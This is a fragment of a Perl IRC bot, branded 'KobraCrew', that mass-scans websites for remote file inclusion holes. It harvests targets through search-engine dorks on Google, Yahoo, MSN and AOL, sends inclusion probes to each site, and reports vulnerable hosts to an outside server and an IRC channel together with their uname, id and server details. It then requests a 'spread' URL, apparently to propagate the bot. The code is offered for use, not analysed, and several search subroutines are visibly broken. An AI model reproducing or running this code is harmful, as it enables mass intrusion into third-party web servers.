stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7Y 14ahoo: 14
Total Cleaned: 7 ".scalar(@puliti)." 14sites! ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7Y 14ahoo: 14 Now
Checking Each Site for Vulnerability... ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7Y 14ahoo: 14 ---
Please Wait --- ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7Y 14ahoo: 14
Scanning Done For: 7 $bug $dork ");
}
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /BraT/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
my $punked="http://www.xshqiptaretx.org/list/index.php?off=$test";
my $poster=HTTP::Request->new(GET=>$punked);
my $resa=$ua->request($poster);
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
}
}
elsif($re =~ /BraT/)
{
my $punked1="http://www.xshqiptaretx.org/list/index.php?on=$test";
my $poster1=HTTP::Request->new(GET=>$punked1);
my $resa=$ua->request($poster1);
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}
}
}}}
exit;
}}
if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
my @mlist=&msn($dork);
my @mlistde=&msnde($dork);
my @mlistlive=&msnlive($dork);
push(my @mlistworld, @mlist, @mlistde, @mlistlive);
push(my @tot, @mlistworld);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7M 14SN: 14 ---
TSearched&TCleaned --- ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7M 14SN: 14 Total
Found: 7 ".scalar(@tot)." 14sites! ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7M 14SN: 14 Total
Cleaned: 7 ".scalar(@puliti)." 14sites! ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7M 14SN: 14 Now
Checking Each Site for Vulnerability... ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7M 14SN: 14 ---
Please Wait --- ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7M 14SN: Scanning
Done For: 7 $bug $dork ");
}
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /BraT/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
my $punked="http://www.xshqiptaretx.org/list/index.php?off=$test";
my $poster=HTTP::Request->new(GET=>$punked);
my $resa=$ua->request($poster);
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
}
}
elsif($re =~ /BraT/)
{
my $punked1="http://www.xshqiptaretx.org/list/index.php?on=$test";
my $poster1=HTTP::Request->new(GET=>$punked1);
my $resa=$ua->request($poster1);
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}
}
}}}
exit;
}}
if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
my @aolist=&aol($dork);
my @aolist1=&aol1($dork);
my @aolist2=&aol2($dork);
my @aolist3=&aol3($dork);
push(my @tot, @aolist,@aolist1,@aolist2,@aolist3);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14ol: 14 ---
TSearched&TCleaned --- ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14ol: 14 Total
Found: 7 ".scalar(@tot)." 14sites! ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14ol: 14 Total
Cleaned: 7 ".scalar(@puliti)." 14sites! ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14ol: 14 Now
Checking Each Site for Vulnerability... ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14ol: 14 ---
Please Wait --- ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14ol: 14
Scanning Done For: 7 $bug $dork ");
}
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /BraT/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
my $punked="http://www.xshqiptaretx.org/list/index.php?off=$test";
my $poster=HTTP::Request->new(GET=>$punked);
my $resa=$ua->request($poster);
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode:
3OFF 14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print
");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
}
}
elsif($re =~ /BraT/)
{
my $punked1="http://www.xshqiptaretx.org/list/index.php?on=$test";
my $poster1=HTTP::Request->new(GET=>$punked1);
my $resa=$ua->request($poster1);
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}
}
}}}
exit;
}}
sub os(){
my $sito=$_[0];
my $Res=query($sito);
my $type;
my $free;
my $str;
while($Res=~m/<br>uname -a:(.+?)\<br>/g){
$alb=$1;
}
while($Res=~m/<br>uptime:(.+?)\<br>/g){
$alb2=$1;
}
while($Res=~m/<br>id:(.+?)\<br>/g){
$alb3=$1;
}
while($Res=~m/<br>pwd:(.+?)\<br>/g){
$alb4=$1;
}
while($Res=~m/<br>SoftWare:(.+?)\<br>/g){
$alb5=$1;
}
while($Res=~m/<br>PHPV:(.+?)\<br>/g){
$alb6=$1;
}
while($Res=~m/<br>ServerAddr:(.+?)\<br>/g){
$alb7=$1;
}
while($Res=~m/<br>ServerName:(.+?)\<br>/g){
$alb8=$1;
}
while($Res=~m/<br>os:(.+?)\<br>/g){
$os=$1;
}
while($Res=~m/<br>Free:(.+?)\<br>/g){
$free=$1;
}
$str=$type.",".$free;
return $str;
}
sub googlet {
my @dominios =
("net","at","be","ca","ch","de","dk","fi","fr","gr","us","it","es","se","nl","pl","pt","ru","cz","co.uk","hu");
my @country =
("AT","BE","CA","CH","DE","DK","FI","FR","GR","IE","IT","NL","PL","PT","RU","TR","UK%7CcountryGB","HU","SE","USA","CA","CZ","ES");
my @lang =
("en","es","de","nl","it","fo","sv","fr","el","ga","iw","ja","ko","lt","qu","pl","pt-BR","ru","ta","tr","zh-TW","ru","hu");
my @lst;
my $key=key($_[0]);
my $c=0;
foreach my $i (@dominios){
my @lista = google($i,$key,$lang[$c],$country[$c]);
push(@lst,@lista);
$c++;
}
return @lst;
}
sub google(){
my @lst;
my $i=$_[0];
my $key=$_[1];
my $lang= $_[2];
my $country =$_[3];
for($b=0;$b<=1000;$b+=100){
my $Go=("www.google.".$i."/search?hl=".$lang."&q=".key($key)."&num=100&
start=".$b."&meta=cr%3Dcountry".$country);
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub allthewebt {
my @lang = ("en","es","de","nl","pt-BR","it","de","fo","fr","sv");
my @lst;
my $key=key($_[0]);
my $c=0;
foreach my $lang (@lang){
my @lista = alltheweb($key,$lang[$c]);
push(@lst,@lista);
$c++;
}
return @lst;
}
sub alltheweb(){
my @lista;
my $key = $_[0];
my $lang= $_[1];
for($b=0;$b<=1000;$b+=100){
my $alltheweb=("http://www.alltheweb.com/search?cat=web&_sb_lang=
".$lang."&hits=100&q=".key($key)."&o=".$b);
my $Res=query($alltheweb);
while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
sub standard()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=100)
{
my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&
q=".key($key)."&o=".$i);
my $Res=query($all);
while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
sub yahoo(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=100){
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&
fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
my @grep=links($k);
push(@lst,@grep);}}
return @lst;}
sub yahooa(){
my @lst;
my $key = $_[0];
for($b=210;$b<=1000;$b+=210){
my $Ya=("http://fr.search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=
100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
my @grep=links($k);
push(@lst,@grep);}}
return @lst;}
sub yahoob(){
my @lst;
my $key = $_[0];
for($b=410;$b<=1000;$b+=210){
my $Ya=("http://nl.search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=
100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
my @grep=links($k);
push(@lst,@grep);}}
return @lst;}
sub yahooc(){
my @lst;
my $key = $_[0];
for($b=610;$b<=1000;$b+=210){
my $Ya=("http://at.search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=
100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
my @grep=links($k);
push(@lst,@grep);}}
return @lst;}
sub yahood(){
my @lst;
my $key = $_[0];
for($b=810;$b<=1000;$b+=210){
my $Ya=("http://de.search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=
100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
push(@lst,@grep);}}
return @lst;}
sub yahooe(){
my @lst;
my $key = $_[0];
for($b=810;$b<=1000;$b+=210){
my $Ya=("http://ca.search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=
100&fr=sfp&b=$b");
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
push(@lst,@grep);}}
return @lst;}
sub yahoof(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=100){
my $Ya=("http://search.yahoo.nl/search?p=".key($key)."&n=100&fr=sfp&b=
$b");
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
push(@lst,@grep);}}
return @lst;}
sub yahoog(){
my @lst;
my $key = $_[0];
for($b=210;$b<=1000;$b+=210){
my $Ya=("http://search.yahoo.co.in/search?ei=UTF-8&p=".key($key)."&n=100
&fr=sfp&b=$b");
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
push(@lst,@grep);}}
return @lst;}
sub yahooh(){
my @lst;
my $key = $_[0];
for($b=410;$b<=1000;$b+=210){
my $Ya=("http://search.yahoo.at/search?ei=UTF-8&p=".key($key)."&n=100&fr
=sfp&b=$b");
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
push(@lst,@grep);}}
return @lst;}
sub yahooi(){
my @lst;
my $key = $_[0];
for($b=610;$b<=1000;$b+=210){
my $Ya=("http://search.yahoo.de/search?ei=UTF-8&p=".key($key)."&n=100&fr
=sfp&b=$b");
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
push(@lst,@grep);}}
return @lst;}
sub yahool(){
my @lst;
my $key = $_[0];
for($b=810;$b<=1000;$b+=210){
my $Ya=("http://search.yahoo.co.uk/search?ei=UTF-8&p=".key($key)."&n=100
&fr=sfp&b=$b");
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
push(@lst,@grep);}}
return @lst;}
sub msn(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=
".$b."&FORM=PERE");
my $Res=query($MsN);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub msnde(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&go=&first=
".$b."=Rechercher&mkt=de-de&scope=&FORM=PERE");
my $Res=query($MsN);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub msnlive(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $MsN=("http://msn.com/results.aspx?q=".key($key)."&first=".$b."&FORM=
PERE");
my $Res=query($MsN);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub aol(){
my $key=$_[0];
my @lst;
my $pg=0;
for($pg=1; $pg<=50;$pg++) {
my $Lib=("http://search.aol.com/aol/search?query=".key($key)."&page=
$pg");
my $Res=query($Lib);
while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\
<\/p>/g ){
my $k="$1/";
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
sub aol1(){
my $key=$_[0];
my @lst;
my $pg=0;
for($pg=0; $pg<=100;$pg++) {
my $Lib=("http://search.aol.com/aol/search?query=".key($key)."&page=$pg&
filter=false&nt=null&invocationType=topsearchbox.webhome&clickstreamid=
-4692113551542614318");
my $Res=query($Lib);
while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\
<\/p>/g ){
my $k="$1/";
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
sub aol2(){
my $key=$_[0];
my @lst;
my $pg=0;
for($pg=0; $pg<=100;$pg++) {
my $Lib=("http://suche.aol.de/suche/web/search.jsp?q=".key($key)."&
cluster=&normalization_level=a&famFilter=off&lr=lang_de&langRestrict=2&cpi=
$pg");
my $Res=query($Lib);
while($Res =~ m/<a href=\"http:\/\/(.+?)\" target=\"_blank\" style=\
"font-size:14;text-decoration:underline\">/g ){
my $k="$1/";
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
sub aol3(){
my $key=$_[0];
my @lst;
my $pg=0;
for($pg=0; $pg<=100;$pg++) {
my $Lib=("http://search.aol.co.uk/aol/search?query=".key($key)."&page=
$pg&isinit=true&restrict=countryUK&cr=countryUK&userid=3696368980330600879&
avtype=&invocationType=hf_aoluk_po_ws_unauth&clickstreamid=
3696368980330600877");
my $Res=query($Lib);
while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\
<\/p>/g ){
my $k="$1/";
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
sub stampa()
{
if ($#_ == '1') {
my $sk = $_[0];
print $sk "$_[1]\n";
} else {
print $sk "$_[0]\n";
}}
sub links()
{
my @l;
my $link=$_[0];
my $host=$_[0];
my $hdir=$_[0];
$hdir=~s/(.*)\/[^\/]*$/\1/;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host.="/";
$link.="/";
$hdir.="/";
$host=~s/\/\//\//g;
$hdir=~s/\/\//\//g;
$link=~s/\/\//\//g;
push(@l,$link,$host,$hdir);
return @l;
}
sub geths(){
my $host=$_[0];
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
return $host;
}
sub key(){
my $chiave=$_[0];
$chiave =~ s/ /\+/g;
$chiave =~ s/:/\%3A/g;
$chiave =~ s/\//\%2F/g;
$chiave =~ s/&/\%26/g;
$chiave =~ s/\"/\%22/g;
$chiave =~ s/,/\%2C/g;
$chiave =~ s/\\/\%5C/g;
return $chiave;
}
sub query($){
my $url=$_[0];
$url=~s/http:\/\///;
my $host=$url;
my $query=$url;
my $page="";
$host=~s/href=\"?http:\/\///;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto
=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\
nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
return $page;
}
sub unici{
my @unici = ();
my %visti = ();
foreach my $elemento ( @_ )
{
next if $visti{ $elemento }++;
push @unici, $elemento;
}
return @unici;
}
sub http_query($){
my ($url) = @_;
my $host=$url;
my $query=$url;
my $page="";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~s/$host//;
if ($query eq "") {$query="/";};
eval {
local $SIG{ALRM} = sub { die "1";};
alarm 10;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto
=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\
nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
};
return $page;
}
}
sub Agent(){
my @ret = (
"Microsoft Internet Explorer/4.0b1 (Windows 95)",
"Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)",
"Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)",
"Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)",
"Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)",
"Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)",
"Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)",
"Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
"Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
CLR 1.1.4322)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET
CLR 1.1.4322)",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
"Mozilla/4.0 (compatible; MSIE 7.0b; Win32)",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
"Microsoft Pocket Internet Explorer/0.6",
"Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)",
"MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows
CE; Smartphone;",
"Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1;
rev1.1; Windows NT 5.1;)",
"Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1;
rev1.2; Windows NT 5.1;)",
"Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1;
rev1.5; Windows NT 5.1;)",
"Advanced Browser (http://www.avantbrowser.com)",
"Avant Browser (http://www.avantbrowser.com)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant
Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)",
"Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux;
20020515)",
"Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk;
X11; i686; fr, fr_FR)",
"Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/
20050720 Minimo/0.007",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/
20050511",
"Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/
20050929",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko
/20041202 Firefox/1.0",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/
20050512 Firefox",
"Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/
